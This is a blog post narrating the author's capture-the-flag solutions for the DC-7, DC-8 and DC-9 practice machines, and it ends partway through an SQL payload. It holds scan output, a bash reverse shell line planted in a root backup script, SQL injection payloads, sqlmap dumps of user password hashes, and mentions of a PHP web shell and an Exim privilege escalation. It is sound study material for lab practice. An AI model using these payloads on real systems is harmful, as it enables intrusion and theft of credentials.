{"id":321,"date":"2025-07-22T07:52:08","date_gmt":"2025-07-22T07:52:08","guid":{"rendered":"https:\/\/hackingwithj.com\/?p=321"},"modified":"2025-07-22T07:52:08","modified_gmt":"2025-07-22T07:52:08","slug":"ctf-dc-7-dc-8-dc-9-hard","status":"publish","type":"post","link":"https:\/\/hackingwithj.com\/?p=321","title":{"rendered":"CTF: DC-7, DC-8, DC-9 (hard)"},"content":{"rendered":"\n<p>These are the last machines in the DC series \u2014 and definitely the toughest ones. Each pushed me harder than the earlier boxes and forced me to level up in enumeration, shell access, and privilege escalation. But they also gave me a big confidence boost: these challenges are starting to feel more natural.<\/p>\n\n\n\n<h1 class=\"wp-block-heading\">DC-7<\/h1>\n\n\n\n<h2 class=\"wp-block-heading\">Enumeration<\/h2>\n\n\n\n<p>We start off with a typical full-port aggressive scan:<\/p>\n\n\n\n<pre class=\"wp-block-code has-vivid-purple-color has-text-color has-link-color wp-elements-73a7ab36f5333fb83e51efdada3b30d3\"><code>\u250c\u2500\u2500(kali\u327fkali)-&#91;~\/Downloads\/ctf\/dc-7]\n\u2514\u2500$ nmap -sCV -T4 -A -p- -Pn 10.0.2.25\nStarting Nmap 7.95 ( https:\/\/nmap.org ) at 2025-07-14 06:13 EDT\nNmap scan report for 10.0.2.25\nHost is up (0.00068s latency).\nNot shown: 65533 closed tcp ports (reset)\nPORT   STATE SERVICE VERSION\n22\/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)\n| ssh-hostkey: \n|   2048 d0:02:e9:c7:5d:95:32:ab:10:99:89:84:34:3d:1e:f9 (RSA)\n|   256 d0:d6:40:35:a7:34:a9:0a:79:34:ee:a9:6a:dd:f4:8f (ECDSA)\n|_  256 a8:55:d5:76:93:ed:4f:6f:f1:f7:a1:84:2f:af:bb:e1 (ED25519)\n80\/tcp open  http    Apache httpd 2.4.25 ((Debian))\n|_http-title: Welcome to DC-7 | D7\n|_http-generator: Drupal 8 (https:\/\/www.drupal.org)\n|_http-server-header: Apache\/2.4.25 (Debian)\n| http-robots.txt: 22 disallowed entries (15 shown)\n| \/core\/ \/profiles\/ \/README.txt \/web.config \/admin\/ \n| \/comment\/reply\/ \/filter\/tips \/node\/add\/ \/search\/ \/user\/register\/ \n| \/user\/password\/ \/user\/login\/ \/user\/logout\/ \/index.php\/admin\/ \n|_\/index.php\/comment\/reply\/\nMAC Address: 08:00:27:39:3F:58 (PCS Systemtechnik\/Oracle VirtualBox virtual NIC)\nDevice type: general purpose\nRunning: Linux 3.X|4.X\nOS CPE: cpe:\/o:linux:linux_kernel:3 cpe:\/o:linux:linux_kernel:4\nOS details: Linux 3.2 - 4.14\nNetwork Distance: 1 hop\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel<\/code><\/pre>\n\n\n\n<p>So we\u2019ve got a web server running Drupal 8 \u2014 time to dive in.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">HTTP (80)<\/h2>\n\n\n\n<p>At first glance, the website just shows a simple welcome page. Banner grabbing confirmed it&#8217;s a Drupal 8 instance. I ran a few quick checks:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Manual browsing \u2192 led nowhere fast.<\/li>\n\n\n\n<li><code>droopescan<\/code> \u2192 didn\u2019t work due to a dependency conflict (I wasted way too much time on this).<\/li>\n\n\n\n<li><code>gobuster<\/code> \u2192 didn\u2019t turn up anything useful either.<\/li>\n<\/ul>\n\n\n\n<p>At this point, I felt stuck \u2014 so I went back to the basics and started inspecting the source code. That\u2019s when I noticed a small hidden message in the site footer: <br><code>@dc7user<\/code> A quick Google search led me to a GitHub profile \u2014 and inside one of the repos, I found a database password:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"769\" src=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-43-1024x769.png\" alt=\"\" class=\"wp-image-323\" style=\"width:745px;height:auto\" srcset=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-43-1024x769.png 1024w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-43-300x225.png 300w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-43-768x577.png 768w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-43.png 1066w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>With no login panel on the site, I took a chance and tried it as the SSH password\u2026<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"632\" height=\"321\" src=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-44.png\" alt=\"\" class=\"wp-image-324\" srcset=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-44.png 632w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-44-300x152.png 300w\" sizes=\"auto, (max-width: 632px) 100vw, 632px\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Initial Access<\/h2>\n\n\n\n<p>Once logged in via SSH as <code>dc7user<\/code>, I was greeted with the message: \u2018You have mail\u2019 I checked the mail inside <code>\/home\/dc7user<\/code> and found a message from <code>root<\/code>. It mentioned something about a backup script.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"662\" height=\"363\" src=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-45.png\" alt=\"\" class=\"wp-image-326\" style=\"width:616px;height:auto\" srcset=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-45.png 662w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-45-300x165.png 300w\" sizes=\"auto, (max-width: 662px) 100vw, 662px\" \/><\/figure>\n\n\n\n<p>Naturally, I went digging and found the referenced script sitting in a directory. The backup script contained a call to a <code>drush<\/code> command \u2014 a CLI tool used for managing Drupal sites. I was allowed to run <code>drush<\/code> as <code>dc7user<\/code>. Running <code>drush --help<\/code> revealed a function to functionality to <strong>reset user passwords<\/strong>.<\/p>\n\n\n\n<p>Assuming there&#8217;s a default <code>admin<\/code> user (as is common with many CMS setups), I used <code>drush<\/code> to reset the password:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"106\" src=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-46-1024x106.png\" alt=\"\" class=\"wp-image-327\" srcset=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-46-1024x106.png 1024w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-46-300x31.png 300w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-46-768x79.png 768w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-46.png 1278w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>Now that I had full admin access to the Drupal backend, I looked for a way to get code execution. There wasn\u2019t any built-in option to add PHP directly to a content page, so I installed a module that allowed execution of PHP in page content:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"750\" height=\"399\" src=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-47.png\" alt=\"\" class=\"wp-image-328\" srcset=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-47.png 750w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-47-300x160.png 300w\" sizes=\"auto, (max-width: 750px) 100vw, 750px\" \/><\/figure>\n\n\n\n<p>After enabling that module, I created a new page and embedded a simple <strong>PHP web shell<\/strong>.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"361\" src=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-48-1024x361.png\" alt=\"\" class=\"wp-image-329\" srcset=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-48-1024x361.png 1024w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-48-300x106.png 300w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-48-768x270.png 768w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-48.png 1227w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Escalating Privileges<\/h2>\n\n\n\n<p>Earlier, we discovered that the <code>www-data<\/code> user has permissions to execute the <strong>backup script<\/strong>. Now that we have access as <code>www-data<\/code> through the Drupal web shell, we can take full advantage of that. I edited the backup script and inserted a simple <strong>bash reverse shell<\/strong>, pointing back to my attack box.<\/p>\n\n\n\n<pre class=\"wp-block-code has-vivid-purple-color has-text-color has-link-color wp-elements-3d02853cc4178c56a5d67face309ca28\"><code>bash -i >&amp; \/dev\/tcp\/10.0.2.6\/9001 0>&amp;1<\/code><\/pre>\n\n\n\n<p>After triggering the script (or waiting for it to be executed \u2014 depending on how the cron or automation is configured), I got a reverse shell back and recieved the flag:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"720\" height=\"319\" src=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-49.png\" alt=\"\" class=\"wp-image-330\" srcset=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-49.png 720w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-49-300x133.png 300w\" sizes=\"auto, (max-width: 720px) 100vw, 720px\" \/><\/figure>\n\n\n\n<h1 class=\"wp-block-heading\">DC-8<\/h1>\n\n\n\n<p>Nmap scan:<\/p>\n\n\n\n<pre class=\"wp-block-code has-vivid-purple-color has-text-color has-link-color wp-elements-ad1c409d0b78041c2adac8915bdd86b3\"><code>\u250c\u2500\u2500(kali\u327fkali)-&#91;~]\n\u2514\u2500$ nmap -sCV -T4 -A -p- -Pn 10.0.2.26\nStarting Nmap 7.95 ( https:\/\/nmap.org ) at 2025-07-15 05:02 EDT\nNmap scan report for 10.0.2.26\nHost is up (0.00048s latency).\nNot shown: 65533 closed tcp ports (reset)\nPORT   STATE SERVICE VERSION\n22\/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)\n| ssh-hostkey: \n|   2048 35:a7:e6:c4:a8:3c:63:1d:e1:c0:ca:a3:66:bc:88:bf (RSA)\n|   256 ab:ef:9f:69:ac:ea:54:c6:8c:61:55:49:0a:e7:aa:d9 (ECDSA)\n|_  256 7a:b2:c6:87:ec:93:76:d4:ea:59:4b:1b:c6:e8:73:f2 (ED25519)\n80\/tcp open  http    Apache httpd\n| http-robots.txt: 36 disallowed entries (15 shown)\n| \/includes\/ \/misc\/ \/modules\/ \/profiles\/ \/scripts\/ \n| \/themes\/ \/CHANGELOG.txt \/cron.php \/INSTALL.mysql.txt \n| \/INSTALL.pgsql.txt \/INSTALL.sqlite.txt \/install.php \/INSTALL.txt \n|_\/LICENSE.txt \/MAINTAINERS.txt\n|_http-generator: Drupal 7 (http:\/\/drupal.org)\n|_http-title: Welcome to DC-8 | DC-8\n|_http-server-header: Apache\nMAC Address: 08:00:27:6D:8B:6A (PCS Systemtechnik\/Oracle VirtualBox virtual NIC)\nDevice type: general purpose\nRunning: Linux 3.X|4.X\nOS CPE: cpe:\/o:linux:linux_kernel:3 cpe:\/o:linux:linux_kernel:4\nOS details: Linux 3.2 - 4.14, Linux 3.8 - 3.16\nNetwork Distance: 1 hop\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">HTTP (80)<\/h2>\n\n\n\n<p>When browsing to the IP, I was greeted with <strong>another Drupal site<\/strong>. I started by checking the <code>robots.txt<\/code> file, which had some common disallowed paths, but nothing too exciting. However, I noticed a bunch of <strong>database-related files<\/strong> referenced, so I kept my eyes open for SQL-related bugs. On the homepage, I saw several headers leading to internal pages. Clicking one of the hyperlinks led me to a URL that looked like:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"315\" src=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-50-1024x315.png\" alt=\"\" class=\"wp-image-333\" srcset=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-50-1024x315.png 1024w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-50-300x92.png 300w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-50-768x236.png 768w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-50.png 1403w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>I added a <code>'<\/code> to the <code>nid<\/code> parameter:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"260\" src=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-51-1024x260.png\" alt=\"\" class=\"wp-image-334\" srcset=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-51-1024x260.png 1024w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-51-300x76.png 300w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-51-768x195.png 768w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-51.png 1397w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>I was greeted with a <strong>MariaDB error<\/strong>, which strongly hinted at a possible <strong>SQL injection vulnerability<\/strong>. I wanted to practice <strong>manual SQLi<\/strong>, so I didn\u2019t rush into using <code>sqlmap<\/code> right away. Basic union testing:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted has-vivid-purple-color has-text-color has-link-color wp-elements-4b3cdffdcdd89e626aa686b99b1c14ed\"><code>?nid=1 UNION SELECT 1,2--+<\/code><\/pre>\n\n\n\n<p>Only one column seemed to be reflected back. When I tried to call <code>database()<\/code> or other functions, I didn\u2019t get any visible output on the page. No output in the response either \u2192 possibly <strong>blind SQLi<\/strong>. After a bit of experimenting (and some help from AI ), I used the following payload:<\/p>\n\n\n\n<pre class=\"wp-block-code has-vivid-purple-color has-text-color has-link-color wp-elements-8f135ad958f50a567147ce16d225a2bc\"><code>http:\/\/10.0.2.26\/?nid=1 and extractvalue(1,concat(0x5c,(select database())))--+<\/code><\/pre>\n\n\n\n<p>This forced an error message that revealed the <strong>database name<\/strong>:<\/p>\n\n\n\n<pre class=\"wp-block-code has-vivid-purple-color has-text-color has-link-color wp-elements-96e175157323727c159645ab8e13d5bb\"><code>d7db<\/code><\/pre>\n\n\n\n<p>Using similar techniques, I continued with:<\/p>\n\n\n\n<pre class=\"wp-block-code has-vivid-purple-color has-text-color has-link-color wp-elements-fef7c4bbdab2d701829f4908006dece2\"><code>-1 UNION SELECT table_name FROM information_schema.tables WHERE table_schema = 'd7db'--+\n\n-1 UNION SELECT column_name FROM information_schema.columns WHERE table_schema = 'd7db' AND table_name = 'actions'--+<\/code><\/pre>\n\n\n\n<p>This was a <strong>slow<\/strong> process and the output was limited (usually one item at a time), so eventually I gave in and used <code>sqlmap<\/code> to speed things up.<\/p>\n\n\n\n<pre class=\"wp-block-code has-vivid-purple-color has-text-color has-link-color wp-elements-cc7741086811abfebb1b7cb41d882bc9\"><code>sqlmap -u \"http:\/\/10.0.2.26\/?nid=1%20\" -D d7db --tables\n\nsqlmap -u \"http:\/\/10.0.2.26\/?nid=1%20\" -D d7db -T users --columns<\/code><\/pre>\n\n\n\n<p>The database had <strong>88 tables<\/strong>, but I focused on the <code>users<\/code> table. Dumping the data:<\/p>\n\n\n\n<pre class=\"wp-block-code has-vivid-purple-color has-text-color has-link-color wp-elements-b76c75c9a30f966c99b1ed94a0a246db\"><code>\u250c\u2500\u2500(kali\u327fkali)-&#91;~\/Downloads\/ctf\/dc-8]\n\u2514\u2500$ sqlmap -u \"http:\/\/10.0.2.26\/?nid=1%20\" -D d7db -T users -C name,mail,pass --dump\n\n&#91;2 entries]\n+--------+-----------------------+---------------------------------------------------------+\n| name   | mail                  | pass                                                    |\n+--------+-----------------------+---------------------------------------------------------+\n| admin  | dcau-user@outlook.com | $S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z |\n| john   | john@blahsdfsfd.org   | $S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku\/3if\/oRVZJaz5mKC2vF |\n+--------+-----------------------+---------------------------------------------------------+<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">Initial Access<\/h2>\n\n\n\n<p>After dumping the users and their hashes from the Drupal database, I cracked them using <strong>John the Ripper<\/strong>. The password for user <code>john<\/code> turned out to be:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"788\" height=\"282\" src=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-52.png\" alt=\"\" class=\"wp-image-335\" srcset=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-52.png 788w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-52-300x107.png 300w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-52-768x275.png 768w\" sizes=\"auto, (max-width: 788px) 100vw, 788px\" \/><\/figure>\n\n\n\n<p>There wasn\u2019t any visible login link on the homepage, but I remembered to check the <code>robots.txt<\/code> file \u2014 and sure enough, there was a hidden path listed: <code>\/user\/login<\/code> Using the credentials <code>john:turtle<\/code>, I was able to log in. At first, the account didn\u2019t seem very useful \u2014 I only had permission to <strong>add content<\/strong>, and any PHP I tried to inject was just rendered as <strong>plain HTML<\/strong> (filtered out). I did a bit of Googling and clicked around in the admin panel. That\u2019s when I noticed something interesting: <strong>the Webform module<\/strong> allowed code injection! <\/p>\n\n\n\n<p>I crafted a <strong>PHP reverse shell<\/strong> using <a>revshells.com<\/a> and pasted it into the Webform field. After some trial and error, it finally connected back to my listener:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"397\" src=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-53-1024x397.png\" alt=\"\" class=\"wp-image-336\" srcset=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-53-1024x397.png 1024w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-53-300x116.png 300w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-53-768x298.png 768w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-53.png 1420w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Pivilege Escalation<\/h2>\n\n\n\n<p>Once inside, I did some basic recon and found two users on the system:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>root<\/code><\/li>\n\n\n\n<li><code>dc8user<\/code><\/li>\n<\/ul>\n\n\n\n<p>Naturally, I focused on escalating to <code>dc8user<\/code> or root. But when I tried using <code>su<\/code> or <code>ssh<\/code>, I got hit with something new:<\/p>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p>A <strong>Google verification code<\/strong> was required.<\/p>\n<\/blockquote>\n\n\n\n<p>That threw me off and sent me down a rabbit hole for a good two hours. \ud83d\ude05 Eventually, I reminded myself to go <strong>back to basics<\/strong>. Running a standard SUID check:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted has-vivid-purple-color has-text-color has-link-color wp-elements-c857977826667a196ac84f2aaf3b42e0\"><code>find \/ -perm -4000 -type f 2>\/dev\/null<\/code><\/pre>\n\n\n\n<p>I noticed <code>exim4<\/code> in the list \u2014 an email transport agent. A quick search on <a class=\"\" href=\"https:\/\/www.exploit-db.com\/exploits\/46996\">Exploit-DB<\/a> turned up this vulnerability:<\/p>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p>\ud83d\udd25 <strong>Exim 4.87 \u2013 4.91 \u2013 Local Privilege Escalation<\/strong><\/p>\n<\/blockquote>\n\n\n\n<p>I had trouble getting the exploit to work at first, but after watching a short video walkthrough, I got the hang of it and managed to pop root.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"537\" src=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-54-1024x537.png\" alt=\"\" class=\"wp-image-337\" style=\"width:888px;height:auto\" srcset=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-54-1024x537.png 1024w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-54-300x157.png 300w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-54-768x403.png 768w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-54.png 1500w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<h1 class=\"wp-block-heading\">DC-9<\/h1>\n\n\n\n<p>Nmap scan:<\/p>\n\n\n\n<pre class=\"wp-block-code has-vivid-purple-color has-text-color has-link-color wp-elements-89051cecb3c78c09b68903bfe2894df8\"><code>\u250c\u2500\u2500(kali\u327fkali)-&#91;~\/Downloads\/ctf\/dc-9]\n\u2514\u2500$ nmap -sCV -T4 -A -p- -Pn 10.0.2.27\nStarting Nmap 7.95 ( https:\/\/nmap.org ) at 2025-07-18 02:35 EDT\nNmap scan report for 10.0.2.27\nHost is up (0.0013s latency).\nNot shown: 65533 closed tcp ports (reset)\nPORT   STATE    SERVICE VERSION\n22\/tcp filtered ssh\n80\/tcp open     http    Apache httpd 2.4.38 ((Debian))\n|_http-title: Example.com - Staff Details - Welcome\n|_http-server-header: Apache\/2.4.38 (Debian)\nMAC Address: 08:00:27:F8:D5:26 (PCS Systemtechnik\/Oracle VirtualBox virtual NIC)\nDevice type: general purpose\nRunning: Linux 3.X|4.X\nOS CPE: cpe:\/o:linux:linux_kernel:3 cpe:\/o:linux:linux_kernel:4\nOS details: Linux 3.2 - 4.14\nNetwork Distance: 1 hop<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">HTTP (80)<\/h2>\n\n\n\n<p>At first glance, the webserver didn\u2019t reveal much. There was a <strong>Home<\/strong>, <strong>Employees<\/strong>, <strong>Search<\/strong>, and <strong>Login<\/strong> page \u2014 pretty standard stuff. I spent the first ~30 minutes poking around for common low-hanging fruit:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Path traversal<\/li>\n\n\n\n<li>SQL Injection<\/li>\n\n\n\n<li>XSS<\/li>\n<\/ul>\n\n\n\n<p>\u2026but none of them seemed to work on the exposed pages. I briefly considered bruteforcing credentials, but every attempt returned the <strong>exact same error<\/strong> \u2014 even with gibberish input:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"542\" height=\"101\" src=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-55.png\" alt=\"\" class=\"wp-image-338\" srcset=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-55.png 542w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-55-300x56.png 300w\" sizes=\"auto, (max-width: 542px) 100vw, 542px\" \/><\/figure>\n\n\n\n<p>So that felt like a dead end. Running a basic <code>gobuster<\/code> scan using the default <code>big.txt<\/code> list:<\/p>\n\n\n\n<pre class=\"wp-block-code has-vivid-purple-color has-text-color has-link-color wp-elements-2470a683a565443f9f9169268e8ee05c\"><code>gobuster dir -u http:\/\/10.0.2.27 -w \/usr\/share\/wordlists\/dirb\/big.txt<\/code><\/pre>\n\n\n\n<p>but it didn\u2019t uncover anything useful:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted has-vivid-purple-color has-text-color has-link-color wp-elements-26bff2cb7ad5774bc6741f06075645cf\"><code>\/.htpasswd      (403)<br>\/.htaccess      (403)<br>\/includes       (301)<br>\/server-status  (403)<\/code><\/pre>\n\n\n\n<p>Then I realized all the visible pages had <strong><code>.php<\/code> extensions<\/strong> \u2014 so I re-ran <code>gobuster<\/code> with <code>-x .php,.html<\/code> and a better wordlist:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted has-vivid-purple-color has-text-color has-link-color wp-elements-ec99ce504d1ae1184d222167aba341cd\"><code>gobuster dir -u http:\/\/10.0.2.27 \\<br>  -w \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt \\<br>  -x .php,.html<\/code><\/pre>\n\n\n\n<p>This gave me <strong>much better results<\/strong>:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted has-vivid-purple-color has-text-color has-link-color wp-elements-91bf602ad9563d8667a553ad3f2fe3dc\"><code>\/welcome.php     (302 \u2192 manage.php)<br>\/results.php     (200)<br>\/display.php     (200)<br>\/config.php      (200)<br>\/session.php     (302 \u2192 manage.php)<br>\/logout.php      (302 \u2192 manage.php)<\/code><\/pre>\n\n\n\n<p>The most interesting one was <code>\/welcome.php<\/code>, which surprisingly <strong>redirected me<\/strong> into the application \u2014 without needing to log in:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"334\" src=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-56-1024x334.png\" alt=\"\" class=\"wp-image-339\" srcset=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-56-1024x334.png 1024w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-56-300x98.png 300w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-56-768x250.png 768w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-56.png 1414w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>Even better \u2014 the page had a message at the bottom: <em>&#8220;File does not exist&#8221;<\/em> This gave me <strong>path traversal vibes<\/strong>, and sure enough \u2014 I was right:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"597\" src=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-57-1024x597.png\" alt=\"\" class=\"wp-image-340\" srcset=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-57-1024x597.png 1024w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-57-300x175.png 300w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-57-768x448.png 768w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-57.png 1414w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>Turns out, all the staff had accounts with <strong>terminal-style logins<\/strong>, but direct SSH access was blocked. I figured there had to be a workaround. This box reminded me how easy it is to miss subtle things:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Eventually, I had to <strong>peek at a write-up<\/strong> (still learning!) and discovered that unlocking SSH access via port knocking was key.<\/li>\n\n\n\n<li>I totally missed a <strong>SQL Injection<\/strong> vulnerability on the search page \u2014 something I\u2019ll need to practice more manually.<\/li>\n\n\n\n<li>I also had no idea what <strong>port knocking<\/strong> was \u2014 and even AI didn\u2019t help much there.<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\">SQL Injection<\/h2>\n\n\n\n<p>I started testing basic SQL payloads and found that the following worked:<\/p>\n\n\n\n<pre class=\"wp-block-code has-vivid-purple-color has-text-color has-link-color wp-elements-8934b1c151fe318d2b3aea9e1a437be0\"><code>' UNION SELECT 1,2,3,4,5,6-- <\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"451\" height=\"316\" src=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-58.png\" alt=\"\" class=\"wp-image-341\" style=\"width:343px;height:auto\" srcset=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-58.png 451w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-58-300x210.png 300w\" sizes=\"auto, (max-width: 451px) 100vw, 451px\" \/><\/figure>\n\n\n\n<p>That confirmed the injection point and showed there were 6 columns.<\/p>\n\n\n\n<p>Then I started poking deeper:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted has-vivid-purple-color has-text-color has-link-color wp-elements-bb767c296edcced5a6b564fdba2929a1\"><code>' UNION SELECT 1,2,3,4,5,database()-- <\/code><\/pre>\n\n\n\n<p>At this point, I could have used <code>sqlmap<\/code> to automate everything \u2014 but I didn\u2019t want to take the shortcut. In OSCP-style testing, <strong>you\u2019re not allowed to use <code>sqlmap<\/code><\/strong>, and besides, I wanted to understand the mechanics. So I followed a write-up to learn how to do <strong>manual enumeration<\/strong> and dumped a list of usernames and passwords from the database.<\/p>\n\n\n\n<pre class=\"wp-block-code has-vivid-purple-color has-text-color has-link-color wp-elements-93e9369ed081a312d2eaed8a57a4167d\"><code>' UNION SELECT 